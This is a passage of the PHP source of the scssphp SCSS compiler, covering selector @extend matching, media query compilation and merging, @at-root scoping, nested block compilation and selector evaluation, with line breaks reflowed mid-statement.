                            }
                        }

                        array_unshift($replacement, $slice);

                        if (!
$this->isImmediateRelationshipCombinator(end($slice))) {
                            break;
                        }
                    }

                    $afterBefore = $l != 0 ? array_slice($tempReplacement,
0, $l) : [];

                    // Merge shared direct relationships.
                    $mergedBefore =
$this->mergeDirectRelationships($afterBefore, $nonBreakableBefore);

                    $result = array_merge(
                        $before,
                        $mergedBefore,
                        $replacement,
                        $after
                    );

                    if ($result === $selector) {
                        continue;
                    }

                    $out[] = $result;

                    // recursively check for more matches
                    $startRecurseFrom = count($before) +
min(count($nonBreakableBefore), count($mergedBefore));
                    $this->matchExtends($result, $out,
$startRecurseFrom, false);

                    // selector sequence merging
                    if (! empty($before) && count($new) > 1) {
                        $preSharedParts = $k > 0 ? array_slice($before,
0, $k) : [];
                        $postSharedParts = $k > 0 ? array_slice($before,
$k) : $before;

                        list($betweenSharedParts, $nonBreakable2) =
$this->extractRelationshipFromFragment($afterBefore);

                        $result2 = array_merge(
                            $preSharedParts,
                            $betweenSharedParts,
                            $postSharedParts,
                            $nonBreakable2,
                            $nonBreakableBefore,
                            $replacement,
                            $after
                        );

                        $out[] = $result2;
                    }
                }

                array_pop($partsPile);
            }
        }
    }

    /**
     * Match extends single
     *
     * @param array $rawSingle
     * @param array $outOrigin
     *
     * @return boolean
     */
    protected function matchExtendsSingle($rawSingle, &$outOrigin)
    {
        $counts = [];
        $single = [];

        // simple usual cases, no need to do the whole trick
        if (in_array($rawSingle,
[['>'],['+'],['~']])) {
            return false;
        }

        foreach ($rawSingle as $part) {
            // matches Number
            if (! is_string($part)) {
                return false;
            }

            if (! preg_match('/^[\[.:#%]/', $part) &&
count($single)) {
                $single[count($single) - 1] .= $part;
            } else {
                $single[] = $part;
            }
        }

        $extendingDecoratedTag = false;

        if (count($single) > 1) {
            $matches = null;
            $extendingDecoratedTag = preg_match('/^[a-z0-9]+$/i',
$single[0], $matches) ? $matches[0] : false;
        }

        foreach ($single as $part) {
            if (isset($this->extendsMap[$part])) {
                foreach ($this->extendsMap[$part] as $idx) {
                    $counts[$idx] = isset($counts[$idx]) ? $counts[$idx] +
1 : 1;
                }
            }
        }

        $outOrigin = [];
        $found = false;

        foreach ($counts as $idx => $count) {
            list($target, $origin, /* $block */) = $this->extends[$idx];

            $origin = $this->glueFunctionSelectors($origin);

            // check count
            if ($count !== count($target)) {
                continue;
            }

            $this->extends[$idx][3] = true;

            $rem = array_diff($single, $target);

            foreach ($origin as $j => $new) {
                // prevent infinite loop when target extends itself
                if ($this->isSelfExtend($single, $origin)) {
                    return false;
                }

                $replacement = end($new);

                // Extending a decorated tag with another tag is not
possible.
                if ($extendingDecoratedTag && $replacement[0] !=
$extendingDecoratedTag &&
                    preg_match('/^[a-z0-9]+$/i', $replacement[0])
                ) {
                    unset($origin[$j]);
                    continue;
                }

                $combined = $this->combineSelectorSingle($replacement,
$rem);

                if (count(array_diff($combined,
$origin[$j][count($origin[$j]) - 1]))) {
                    $origin[$j][count($origin[$j]) - 1] = $combined;
                }
            }

            $outOrigin = array_merge($outOrigin, $origin);

            $found = true;
        }

        return $found;
    }

    /**
     * Extract a relationship from the fragment.
     *
     * When extracting the last portion of a selector we will be left with
a
     * fragment which may end with a direction relationship combinator.
This
     * method will extract the relationship fragment and return it along
side
     * the rest.
     *
     * @param array $fragment The selector fragment maybe ending with a
direction relationship combinator.
     *
     * @return array The selector without the relationship fragment if any,
the relationship fragment.
     */
    protected function extractRelationshipFromFragment(array $fragment)
    {
        $parents = [];
        $children = [];
        $j = $i = count($fragment);

        for (;;) {
            $children = $j != $i ? array_slice($fragment, $j, $i - $j) :
[];
            $parents = array_slice($fragment, 0, $j);
            $slice = end($parents);

            if (empty($slice) || !
$this->isImmediateRelationshipCombinator($slice[0])) {
                break;
            }

            $j -= 2;
        }

        return [$parents, $children];
    }

    /**
     * Combine selector single
     *
     * @param array $base
     * @param array $other
     *
     * @return array
     */
    protected function combineSelectorSingle($base, $other)
    {
        $tag = [];
        $out = [];
        $wasTag = true;

        foreach ([$base, $other] as $single) {
            foreach ($single as $part) {
                if (preg_match('/^[\[.:#]/', $part)) {
                    $out[] = $part;
                    $wasTag = false;
                } elseif (preg_match('/^[^_-]/', $part)) {
                    $tag[] = $part;
                    $wasTag = true;
                } elseif ($wasTag) {
                    $tag[count($tag) - 1] .= $part;
                } else {
                    $out[count($out) - 1] .= $part;
                }
            }
        }

        if (count($tag)) {
            array_unshift($out, $tag[0]);
        }

        return $out;
    }

    /**
     * Compile media
     *
     * @param \Leafo\ScssPhp\Block $media
     */
    protected function compileMedia(Block $media)
    {
        $this->pushEnv($media);

        $mediaQueries =
$this->compileMediaQuery($this->multiplyMedia($this->env));

        if (! empty($mediaQueries) && $mediaQueries) {
            $previousScope = $this->scope;
            $parentScope = $this->mediaParent($this->scope);

            foreach ($mediaQueries as $mediaQuery) {
                $this->scope = $this->makeOutputBlock(Type::T_MEDIA,
[$mediaQuery]);

                $parentScope->children[] = $this->scope;
                $parentScope = $this->scope;
            }

            // top level properties in a media cause it to be wrapped
            $needsWrap = false;

            foreach ($media->children as $child) {
                $type = $child[0];

                if ($type !== Type::T_BLOCK &&
                    $type !== Type::T_MEDIA &&
                    $type !== Type::T_DIRECTIVE &&
                    $type !== Type::T_IMPORT
                ) {
                    $needsWrap = true;
                    break;
                }
            }

            if ($needsWrap) {
                $wrapped = new Block;
                $wrapped->sourceName = $media->sourceName;
                $wrapped->sourceIndex = $media->sourceIndex;
                $wrapped->sourceLine = $media->sourceLine;
                $wrapped->sourceColumn = $media->sourceColumn;
                $wrapped->selectors = [];
                $wrapped->comments = [];
                $wrapped->parent = $media;
                $wrapped->children = $media->children;

                $media->children = [[Type::T_BLOCK, $wrapped]];
                if (isset($this->lineNumberStyle)) {
                    $annotation =
$this->makeOutputBlock(Type::T_COMMENT);
                    $annotation->depth = 0;

                    $file = $this->sourceNames[$media->sourceIndex];
                    $line = $media->sourceLine;

                    switch ($this->lineNumberStyle) {
                        case static::LINE_COMMENTS:
                            $annotation->lines[] = '/* line '
. $line
                                                 . ($file ? ', '
. $file : '')
                                                 . ' */';
                            break;

                        case static::DEBUG_INFO:
                            $annotation->lines[] = '@media
-sass-debug-info{'
                                                 . ($file ?
'filename{font-family:"' . $file . '"}' :
'')
                                                 .
'line{font-family:' . $line . '}}';
                            break;
                    }

                    $this->scope->children[] = $annotation;
                }
            }

            $this->compileChildrenNoReturn($media->children,
$this->scope);

            $this->scope = $previousScope;
        }

        $this->popEnv();
    }

    /**
     * Media parent
     *
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
     *
     * @return \Leafo\ScssPhp\Formatter\OutputBlock
     */
    protected function mediaParent(OutputBlock $scope)
    {
        while (! empty($scope->parent)) {
            if (! empty($scope->type) && $scope->type !==
Type::T_MEDIA) {
                break;
            }

            $scope = $scope->parent;
        }

        return $scope;
    }

    /**
     * Compile directive
     *
     * @param \Leafo\ScssPhp\Block $block
     */
    protected function compileDirective(Block $block)
    {
        $s = '@' . $block->name;

        if (! empty($block->value)) {
            $s .= ' ' . $this->compileValue($block->value);
        }

        if ($block->name === 'keyframes' ||
substr($block->name, -10) === '-keyframes') {
            $this->compileKeyframeBlock($block, [$s]);
        } else {
            $this->compileNestedBlock($block, [$s]);
        }
    }

    /**
     * Compile at-root
     *
     * @param \Leafo\ScssPhp\Block $block
     */
    protected function compileAtRoot(Block $block)
    {
        $env     = $this->pushEnv($block);
        $envs    = $this->compactEnv($env);
        $without = isset($block->with) ?
$this->compileWith($block->with) : static::WITH_RULE;

        // wrap inline selector
        if ($block->selector) {
            $wrapped = new Block;
            $wrapped->sourceName   = $block->sourceName;
            $wrapped->sourceIndex  = $block->sourceIndex;
            $wrapped->sourceLine   = $block->sourceLine;
            $wrapped->sourceColumn = $block->sourceColumn;
            $wrapped->selectors    = $block->selector;
            $wrapped->comments     = [];
            $wrapped->parent       = $block;
            $wrapped->children     = $block->children;
            $wrapped->selfParent   = $block->selfParent;

            $block->children = [[Type::T_BLOCK, $wrapped]];
            $block->selector = null;
        }

        $selfParent = $block->selfParent;

        if (! $block->selfParent->selectors &&
isset($block->parent) && $block->parent &&
            isset($block->parent->selectors) &&
$block->parent->selectors
        ) {
            $selfParent = $block->parent;
        }

        $this->env = $this->filterWithout($envs, $without);

        $saveScope   = $this->scope;
        $this->scope = $this->filterScopeWithout($saveScope,
$without);

        // propagate selfParent to the children where they still can be
useful
        $this->compileChildrenNoReturn($block->children,
$this->scope, $selfParent);

        $this->scope = $this->completeScope($this->scope,
$saveScope);
        $this->scope = $saveScope;
        $this->env   = $this->extractEnv($envs);

        $this->popEnv();
    }

    /**
     * Filter at-root scope depending of with/without option
     *
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
     * @param mixed                                $without
     *
     * @return mixed
     */
    protected function filterScopeWithout($scope, $without)
    {
        $filteredScopes = [];

        if ($scope->type === TYPE::T_ROOT) {
            return $scope;
        }

        // start from the root
        while ($scope->parent && $scope->parent->type !==
TYPE::T_ROOT) {
            $scope = $scope->parent;
        }

        for (;;) {
            if (! $scope) {
                break;
            }

            if (! $this->isWithout($without, $scope)) {
                $s = clone $scope;
                $s->children = [];
                $s->lines = [];
                $s->parent = null;

                if ($s->type !== Type::T_MEDIA && $s->type
!== Type::T_DIRECTIVE) {
                    $s->selectors = [];
                }

                $filteredScopes[] = $s;
            }

            if ($scope->children) {
                $scope = end($scope->children);
            } else {
                $scope = null;
            }
        }

        if (! count($filteredScopes)) {
            return $this->rootBlock;
        }

        $newScope = array_shift($filteredScopes);
        $newScope->parent = $this->rootBlock;

        $this->rootBlock->children[] = $newScope;

        $p = &$newScope;

        while (count($filteredScopes)) {
            $s = array_shift($filteredScopes);
            $s->parent = $p;
            $p->children[] = &$s;
            $p = $s;
        }

        return $newScope;
    }

    /**
     * found missing selector from a at-root compilation in the previous
scope
     * (if at-root is just enclosing a property, the selector is in the
parent tree)
     *
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $previousScope
     *
     * @return mixed
     */
    protected function completeScope($scope, $previousScope)
    {
        if (! $scope->type && (! $scope->selectors || !
count($scope->selectors)) && count($scope->lines)) {
            $scope->selectors =
$this->findScopeSelectors($previousScope, $scope->depth);
        }

        if ($scope->children) {
            foreach ($scope->children as $k => $c) {
                $scope->children[$k] = $this->completeScope($c,
$previousScope);
            }
        }

        return $scope;
    }

    /**
     * Find a selector by the depth node in the scope
     *
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $scope
     * @param integer                              $depth
     *
     * @return array
     */
    protected function findScopeSelectors($scope, $depth)
    {
        if ($scope->depth === $depth && $scope->selectors) {
            return $scope->selectors;
        }

        if ($scope->children) {
            foreach (array_reverse($scope->children) as $c) {
                if ($s = $this->findScopeSelectors($c, $depth)) {
                    return $s;
                }
            }
        }

        return [];
    }

    /**
     * Compile @at-root's with: inclusion / without: exclusion into
filter flags
     *
     * @param array $with
     *
     * @return integer
     */
    protected function compileWith($with)
    {
        static $mapping = [
            'rule'     => self::WITH_RULE,
            'media'    => self::WITH_MEDIA,
            'supports' => self::WITH_SUPPORTS,
            'all'      => self::WITH_ALL,
        ];

        // exclude selectors by default
        $without = static::WITH_RULE;

        if ($this->libMapHasKey([$with, static::$with])) {
            $without = static::WITH_ALL;

            $list = $this->coerceList($this->libMapGet([$with,
static::$with]));

            foreach ($list[2] as $item) {
                $keyword =
$this->compileStringContent($this->coerceString($item));

                if (array_key_exists($keyword, $mapping)) {
                    $without &= ~($mapping[$keyword]);
                }
            }
        }

        if ($this->libMapHasKey([$with, static::$without])) {
            $without = 0;

            $list = $this->coerceList($this->libMapGet([$with,
static::$without]));

            foreach ($list[2] as $item) {
                $keyword =
$this->compileStringContent($this->coerceString($item));

                if (array_key_exists($keyword, $mapping)) {
                    $without |= $mapping[$keyword];
                }
            }
        }

        return $without;
    }

    /**
     * Filter env stack
     *
     * @param array   $envs
     * @param integer $without
     *
     * @return \Leafo\ScssPhp\Compiler\Environment
     */
    protected function filterWithout($envs, $without)
    {
        $filtered = [];

        foreach ($envs as $e) {
            if ($e->block && $this->isWithout($without,
$e->block)) {
                $ec = clone $e;
                $ec->block = null;
                $ec->selectors = [];
                $filtered[] = $ec;
            } else {
                $filtered[] = $e;
            }
        }

        return $this->extractEnv($filtered);
    }

    /**
     * Filter WITH rules
     *
     * @param integer                                                  
$without
     * @param \Leafo\ScssPhp\Block|\Leafo\ScssPhp\Formatter\OutputBlock
$block
     *
     * @return boolean
     */
    protected function isWithout($without, $block)
    {
        if (isset($block->type)) {
            if ($block->type === Type::T_MEDIA) {
                return ($without & static::WITH_MEDIA) ? true : false;
            }

            if ($block->type === Type::T_DIRECTIVE) {
                if (isset($block->name) && $block->name ===
'supports') {
                    return ($without & static::WITH_SUPPORTS) ? true :
false;
                }

                if (isset($block->selectors) &&
strpos(serialize($block->selectors), '@supports') !== false) {
                    return ($without & static::WITH_SUPPORTS) ? true :
false;
                }
            }
        }

        if ((($without & static::WITH_RULE) &&
isset($block->selectors))) {
            return true;
        }

        return false;
    }

    /**
     * Compile keyframe block
     *
     * @param \Leafo\ScssPhp\Block $block
     * @param array                $selectors
     */
    protected function compileKeyframeBlock(Block $block, $selectors)
    {
        $env = $this->pushEnv($block);

        $envs = $this->compactEnv($env);

        $this->env = $this->extractEnv(array_filter($envs, function
(Environment $e) {
            return ! isset($e->block->selectors);
        }));

        $this->scope = $this->makeOutputBlock($block->type,
$selectors);
        $this->scope->depth = 1;
        $this->scope->parent->children[] = $this->scope;

        $this->compileChildrenNoReturn($block->children,
$this->scope);

        $this->scope = $this->scope->parent;
        $this->env   = $this->extractEnv($envs);

        $this->popEnv();
    }

    /**
     * Compile nested block
     *
     * @param \Leafo\ScssPhp\Block $block
     * @param array                $selectors
     */
    protected function compileNestedBlock(Block $block, $selectors)
    {
        $this->pushEnv($block);

        $this->scope = $this->makeOutputBlock($block->type,
$selectors);
        $this->scope->parent->children[] = $this->scope;

        // wrap assign children in a block
        // except for @font-face
        if ($block->type !== Type::T_DIRECTIVE || $block->name !==
"font-face") {
            // need wrapping?
            $needWrapping = false;

            foreach ($block->children as $child) {
                if ($child[0] === Type::T_ASSIGN) {
                    $needWrapping = true;
                    break;
                }
            }

            if ($needWrapping) {
                $wrapped = new Block;
                $wrapped->sourceName = $block->sourceName;
                $wrapped->sourceIndex = $block->sourceIndex;
                $wrapped->sourceLine = $block->sourceLine;
                $wrapped->sourceColumn = $block->sourceColumn;
                $wrapped->selectors = [];
                $wrapped->comments = [];
                $wrapped->parent = $block;
                $wrapped->children = $block->children;
                $wrapped->selfParent = $block->selfParent;

                $block->children = [[Type::T_BLOCK, $wrapped]];
            }
        }

        $this->compileChildrenNoReturn($block->children,
$this->scope);

        $this->scope = $this->scope->parent;

        $this->popEnv();
    }

    /**
     * Recursively compiles a block.
     *
     * A block is analogous to a CSS block in most cases. A single SCSS
document
     * is encapsulated in a block when parsed, but it does not have parent
tags
     * so all of its children appear on the root level when compiled.
     *
     * Blocks are made up of selectors and children.
     *
     * The children of a block are just all the blocks that are defined
within.
     *
     * Compiling the block involves pushing a fresh environment on the
stack,
     * and iterating through the props, compiling each one.
     *
     * @see Compiler::compileChild()
     *
     * @param \Leafo\ScssPhp\Block $block
     */
    protected function compileBlock(Block $block)
    {
        $env = $this->pushEnv($block);
        $env->selectors = $this->evalSelectors($block->selectors);

        $out = $this->makeOutputBlock(null);

        if (isset($this->lineNumberStyle) &&
count($env->selectors) && count($block->children)) {
            $annotation = $this->makeOutputBlock(Type::T_COMMENT);
            $annotation->depth = 0;

            $file = $this->sourceNames[$block->sourceIndex];
            $line = $block->sourceLine;

            switch ($this->lineNumberStyle) {
                case static::LINE_COMMENTS:
                    $annotation->lines[] = '/* line ' . $line
                                         . ($file ? ', ' . $file
: '')
                                         . ' */';
                    break;

                case static::DEBUG_INFO:
                    $annotation->lines[] = '@media
-sass-debug-info{'
                                         . ($file ?
'filename{font-family:"' . $file . '"}' :
'')
                                         . 'line{font-family:' .
$line . '}}';
                    break;
            }

            $this->scope->children[] = $annotation;
        }

        $this->scope->children[] = $out;

        if (count($block->children)) {
            $out->selectors = $this->multiplySelectors($env,
$block->selfParent);

            // propagate selfParent to the children where they still can be
useful
            $selfParentSelectors = null;

            if (isset($block->selfParent->selectors)) {
                $selfParentSelectors = $block->selfParent->selectors;
                $block->selfParent->selectors = $out->selectors;
            }

            $this->compileChildrenNoReturn($block->children, $out,
$block->selfParent);

            // and revert for the following childs of the same block
            if ($selfParentSelectors) {
                $block->selfParent->selectors = $selfParentSelectors;
            }
        }

        $this->formatter->stripSemicolon($out->lines);

        $this->popEnv();
    }

    /**
     * Compile root level comment
     *
     * @param array $block
     */
    protected function compileComment($block)
    {
        $out = $this->makeOutputBlock(Type::T_COMMENT);
        $out->lines[] = is_string($block[1]) ? $block[1] :
$this->compileValue($block[1]);

        $this->scope->children[] = $out;
    }

    /**
     * Evaluate selectors
     *
     * @param array $selectors
     *
     * @return array
     */
    protected function evalSelectors($selectors)
    {
        $this->shouldEvaluate = false;

        $selectors = array_map([$this, 'evalSelector'],
$selectors);

        // after evaluating interpolates, we might need a second pass
        if ($this->shouldEvaluate) {
            $selectors = $this->revertSelfSelector($selectors);
            $buffer = $this->collapseSelectors($selectors);
            $parser = $this->parserFactory(__METHOD__);

            if ($parser->parseSelector($buffer, $newSelectors)) {
                $selectors = array_map([$this, 'evalSelector'],
$newSelectors);
            }
        }

        return $selectors;
    }

    /**
     * Evaluate selector
     *
     * @param array $selector
     *
     * @return array
     */
    protected function evalSelector($selector)
    {
        return array_map([$this, 'evalSelectorPart'], $selector);
    }

    /**
     * Evaluate selector part; replaces all the interpolates, stripping
quotes
     *
     * @param array $part
     *
     * @return array
     */
    protected function evalSelectorPart($part)
    {
        foreach ($part as &$p) {
            if (is_array($p) && ($p[0] === Type::T_INTERPOLATE ||
$p[0] === Type::T_STRING)) {
                $p = $this->compileValue($p);

                // force re-evaluation
                if (strpos($p, '&') !== false || strpos($p,
',') !== false) {
                    $this->shouldEvaluate = true;
                }
            } elseif (is_string($p) && strlen($p) >= 2
&&
                ($first = $p[0]) && ($first === '"'
|| $first === "'") &&
                substr($p, -1) === $first
            ) {
                $p = substr($p, 1, -1);
            }
        }

        return $this->flattenSelectorSingle($part);
    }

    /**
     * Collapse selectors
     *
     * @param array   $selectors
     * @param boolean $selectorFormat
     *   if false return a collapsed string
     *   if true return an array description of a structured selector
     *
     * @return string
     */
    protected function collapseSelectors($selectors, $selectorFormat =
false)
    {
        $parts = [];

        foreach ($selectors as $selector) {
            $output = [];
            $glueNext = false;

            foreach ($selector as $node) {
                $compound = '';

                array_walk_recursive(
                    $node,
                    function ($value, $key) use (&$compound) {
                        $compound .= $value;
                    }
                );

                if ($selectorFormat &&
$this->isImmediateRelationshipCombinator($compound)) {
                    if (count($output)) {
                        $output[count($output) - 1] .= ' ' .
$compound;
                    } else {
                        $output[] = $compound;
                    }
                    $glueNext = true;
                } elseif ($glueNext) {
                    $output[count($output) - 1] .= ' ' .
$compound;
                    $glueNext = false;
                } else {
                    $output[] = $compound;
                }
            }

            if ($selectorFormat) {
                foreach ($output as &$o) {
                    $o = [Type::T_STRING, '', [$o]];
                }
                $output = [Type::T_LIST, ' ', $output];
            } else {
                $output = implode(' ', $output);
            }

            $parts[] = $output;
        }

        if ($selectorFormat) {
            $parts = [Type::T_LIST, ',', $parts];
        } else {
            $parts = implode(', ', $parts);
        }

        return $parts;
    }

    /**
     * Parse down the selector and revert [self] to "&"
before a reparsing
     *
     * @param array $selectors
     *
     * @return array
     */
    protected function revertSelfSelector($selectors)
    {
        foreach ($selectors as &$part) {
            if (is_array($part)) {
                if ($part === [Type::T_SELF]) {
                    $part = '&';
                } else {
                    $part = $this->revertSelfSelector($part);
                }
            }
        }

        return $selectors;
    }

    /**
     * Flatten selector single; joins together .classes and #ids
     *
     * @param array $single
     *
     * @return array
     */
    protected function flattenSelectorSingle($single)
    {
        $joined = [];

        foreach ($single as $part) {
            if (empty($joined) ||
                ! is_string($part) ||
                preg_match('/[\[.:#%]/', $part)
            ) {
                $joined[] = $part;
                continue;
            }

            if (is_array(end($joined))) {
                $joined[] = $part;
            } else {
                $joined[count($joined) - 1] .= $part;
            }
        }

        return $joined;
    }

    /**
     * Compile selector to string; self(&) should have been replaced by
now
     *
     * @param string|array $selector
     *
     * @return string
     */
    protected function compileSelector($selector)
    {
        if (! is_array($selector)) {
            return $selector; // media and the like
        }

        return implode(
            ' ',
            array_map(
                [$this, 'compileSelectorPart'],
                $selector
            )
        );
    }

    /**
     * Compile selector part
     *
     * @param array $piece
     *
     * @return string
     */
    protected function compileSelectorPart($piece)
    {
        foreach ($piece as &$p) {
            if (! is_array($p)) {
                continue;
            }

            switch ($p[0]) {
                case Type::T_SELF:
                    $p = '&';
                    break;

                default:
                    $p = $this->compileValue($p);
                    break;
            }
        }

        return implode($piece);
    }

    /**
     * Has selector placeholder?
     *
     * @param array $selector
     *
     * @return boolean
     */
    protected function hasSelectorPlaceholder($selector)
    {
        if (! is_array($selector)) {
            return false;
        }

        foreach ($selector as $parts) {
            foreach ($parts as $part) {
                if (strlen($part) && '%' === $part[0]) {
                    return true;
                }
            }
        }

        return false;
    }

    protected function pushCallStack($name = '')
    {
        $this->callStack[] = [
          'n' => $name,
          Parser::SOURCE_INDEX => $this->sourceIndex,
          Parser::SOURCE_LINE => $this->sourceLine,
          Parser::SOURCE_COLUMN => $this->sourceColumn
        ];

        // infinite calling loop
        if (count($this->callStack) > 25000) {
            // not displayed but you can var_dump it to deep debug
            $msg = $this->callStackMessage(true, 100);
            $msg = "Infinite calling loop";
            $this->throwError($msg);
        }
    }

    protected function popCallStack()
    {
        array_pop($this->callStack);
    }

    /**
     * Compile children and return result
     *
     * @param array                                $stms
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $out
     * @param string                               $traceName
     *
     * @return array|null
     */
    protected function compileChildren($stms, OutputBlock $out, $traceName
= '')
    {
        $this->pushCallStack($traceName);

        foreach ($stms as $stm) {
            $ret = $this->compileChild($stm, $out);

            if (isset($ret)) {
                return $ret;
            }
        }

        $this->popCallStack();

        return null;
    }

    /**
     * Compile children and throw exception if unexpected @return
     *
     * @param array                                $stms
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $out
     * @param \Leafo\ScssPhp\Block                 $selfParent
     * @param string                               $traceName
     *
     * @throws \Exception
     */
    protected function compileChildrenNoReturn($stms, OutputBlock $out,
$selfParent = null, $traceName = '')
    {
        $this->pushCallStack($traceName);

        foreach ($stms as $stm) {
            if ($selfParent && isset($stm[1]) &&
is_object($stm[1]) && $stm[1] instanceof Block) {
                $stm[1]->selfParent = $selfParent;
                $ret = $this->compileChild($stm, $out);
                $stm[1]->selfParent = null;
            } elseif ($selfParent && $stm[0] === TYPE::T_INCLUDE) {
                $stm['selfParent'] = $selfParent;
                $ret = $this->compileChild($stm, $out);
                unset($stm['selfParent']);
            } else {
                $ret = $this->compileChild($stm, $out);
            }

            if (isset($ret)) {
                $this->throwError('@return may only be used within
a function');

                return;
            }
        }

        $this->popCallStack();
    }


    /**
     * evaluate media query : compile internal value keeping the structure
inchanged
     *
     * @param array $queryList
     *
     * @return array
     */
    protected function evaluateMediaQuery($queryList)
    {
        foreach ($queryList as $kql => $query) {
            foreach ($query as $kq => $q) {
                for ($i = 1; $i < count($q); $i++) {
                    $value = $this->compileValue($q[$i]);

                    // the parser had no mean to know if media type or
expression if it was an interpolation
                    if ($q[0] == Type::T_MEDIA_TYPE &&
                        (strpos($value, '(') !== false ||
                        strpos($value, ')') !== false ||
                        strpos($value, ':') !== false)
                    ) {
                        $queryList[$kql][$kq][0] =
Type::T_MEDIA_EXPRESSION;

                        if (strpos($value, 'and') !== false) {
                            $values = explode('and', $value);
                            $value = trim(array_pop($values));

                            while ($v = trim(array_pop($values))) {
                                $type = Type::T_MEDIA_EXPRESSION;

                                if (strpos($v, '(') === false
&&
                                    strpos($v, ')') === false
&&
                                    strpos($v, ':') === false
                                ) {
                                    $type = Type::T_MEDIA_TYPE;
                                }

                                if (substr($v, 0, 1) === '('
&& substr($v, -1) === ')') {
                                    $v = substr($v, 1, -1);
                                }

                                $queryList[$kql][] =
[$type,[Type::T_KEYWORD, $v]];
                            }
                        }

                        if (substr($value, 0, 1) === '('
&& substr($value, -1) === ')') {
                            $value = substr($value, 1, -1);
                        }
                    }

                    $queryList[$kql][$kq][$i] = [Type::T_KEYWORD, $value];
                }
            }
        }

        return $queryList;
    }

    /**
     * Compile media query
     *
     * @param array $queryList
     *
     * @return array
     */
    protected function compileMediaQuery($queryList)
    {
        $start = '@media ';
        $default = trim($start);
        $out = [];
        $current = "";

        foreach ($queryList as $query) {
            $type = null;
            $parts = [];

            $mediaTypeOnly = true;

            foreach ($query as $q) {
                if ($q[0] !== Type::T_MEDIA_TYPE) {
                    $mediaTypeOnly = false;
                    break;
                }
            }

            foreach ($query as $q) {
                switch ($q[0]) {
                    case Type::T_MEDIA_TYPE:
                        $newType = array_map([$this,
'compileValue'], array_slice($q, 1));
                        // combining not and anything else than media type
is too risky and should be avoided
                        if (! $mediaTypeOnly) {
                            if (in_array(Type::T_NOT, $newType) || ($type
&& in_array(Type::T_NOT, $type) )) {
                                if ($type) {
                                    array_unshift($parts, implode('
', array_filter($type)));
                                }

                                if (! empty($parts)) {
                                    if (strlen($current)) {
                                        $current .=
$this->formatter->tagSeparator;
                                    }

                                    $current .= implode(' and ',
$parts);
                                }

                                if ($current) {
                                    $out[] = $start . $current;
                                }

                                $current = "";
                                $type = null;
                                $parts = [];
                            }
                        }

                        if ($newType === ['all'] &&
$default) {
                            $default = $start . 'all';
                        }

                        // all can be safely ignored and mixed with
whatever else
                        if ($newType !== ['all']) {
                            if ($type) {
                                $type = $this->mergeMediaTypes($type,
$newType);

                                if (empty($type)) {
                                    // merge failed : ignore this query
that is not valid, skip to the next one
                                    $parts = [];
                                    $default = ''; // if
everything fail, no @media at all
                                    continue 3;
                                }
                            } else {
                                $type = $newType;
                            }
                        }
                        break;

                    case Type::T_MEDIA_EXPRESSION:
                        if (isset($q[2])) {
                            $parts[] = '('
                                . $this->compileValue($q[1])
                                . $this->formatter->assignSeparator
                                . $this->compileValue($q[2])
                                . ')';
                        } else {
                            $parts[] = '('
                                . $this->compileValue($q[1])
                                . ')';
                        }
                        break;

                    case Type::T_MEDIA_VALUE:
                        $parts[] = $this->compileValue($q[1]);
                        break;
                }
            }

            if ($type) {
                array_unshift($parts, implode(' ',
array_filter($type)));
            }

            if (! empty($parts)) {
                if (strlen($current)) {
                    $current .= $this->formatter->tagSeparator;
                }

                $current .= implode(' and ', $parts);
            }
        }

        if ($current) {
            $out[] = $start . $current;
        }

        // no @media type except all, and no conflict?
        if (! $out && $default) {
            $out[] = $default;
        }

        return $out;
    }

    /**
     * Merge direct relationships between selectors
     *
     * @param array $selectors1
     * @param array $selectors2
     *
     * @return array
     */
    protected function mergeDirectRelationships($selectors1, $selectors2)
    {
        if (empty($selectors1) || empty($selectors2)) {
            return array_merge($selectors1, $selectors2);
        }

        $part1 = end($selectors1);
        $part2 = end($selectors2);

        if (! $this->isImmediateRelationshipCombinator($part1[0])
&& $part1 !== $part2) {
            return array_merge($selectors1, $selectors2);
        }

        $merged = [];

        do {
            $part1 = array_pop($selectors1);
            $part2 = array_pop($selectors2);

            if (! $this->isImmediateRelationshipCombinator($part1[0])
&& $part1 !== $part2) {
                if
($this->isImmediateRelationshipCombinator(reset($merged)[0])) {
                    array_unshift($merged, [$part1[0] . $part2[0]]);
                    $merged = array_merge($selectors1, $selectors2,
$merged);
                } else {
                    $merged = array_merge($selectors1, [$part1],
$selectors2, [$part2], $merged);
                }

                break;
            }

            array_unshift($merged, $part1);
        } while (! empty($selectors1) && ! empty($selectors2));

        return $merged;
    }

    /**
     * Merge media types
     *
     * @param array $type1
     * @param array $type2
     *
     * @return array|null
     */
    protected function mergeMediaTypes($type1, $type2)
    {
        if (empty($type1)) {
            return $type2;
        }

        if (empty($type2)) {
            return $type1;
        }

        $m1 = '';
        $t1 = '';

        if (count($type1) > 1) {
            $m1= strtolower($type1[0]);
            $t1= strtolower($type1[1]);
        } else {
            $t1 = strtolower($type1[0]);
        }

        $m2 = '';
        $t2 = '';

        if (count($type2) > 1) {
            $m2 = strtolower($type2[0]);
            $t2 = strtolower($type2[1]);
        } else {
            $t2 = strtolower($type2[0]);
        }

        if (($m1 === Type::T_NOT) ^ ($m2 === Type::T_NOT)) {
            if ($t1 === $t2) {
                return null;
            }

            return [
                $m1 === Type::T_NOT ? $m2 : $m1,
                $m1 === Type::T_NOT ? $t2 : $t1,
            ];
        }

        if ($m1 === Type::T_NOT && $m2 === Type::T_NOT) {
            // CSS has no way of representing "neither screen nor
print"
            if ($t1 !== $t2) {
                return null;
            }

            return [Type::T_NOT, $t1];
        }

        if ($t1 !== $t2) {
            return null;
        }

        // t1 == t2, neither m1 nor m2 are "not"
        return [empty($m1)? $m2 : $m1, $t1];
    }

    /**
     * Compile import; returns true if the value was something that could
be imported
     *
     * @param array                                $rawPath
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $out
     * @param boolean                              $once
     *
     * @return boolean
     */
    protected function compileImport($rawPath, OutputBlock $out, $once =
false)
    {
        if ($rawPath[0] === Type::T_STRING) {
            $path = $this->compileStringContent($rawPath);

            if ($path = $this->findImport($path)) {
                if (! $once || ! in_array($path, $this->importedFiles))
{
                    $this->importFile($path, $out);
                    $this->importedFiles[] = $path;
                }

                return true;
            }

            return false;
        }

        if ($rawPath[0] === Type::T_LIST) {
            // handle a list of strings
            if (count($rawPath[2]) === 0) {
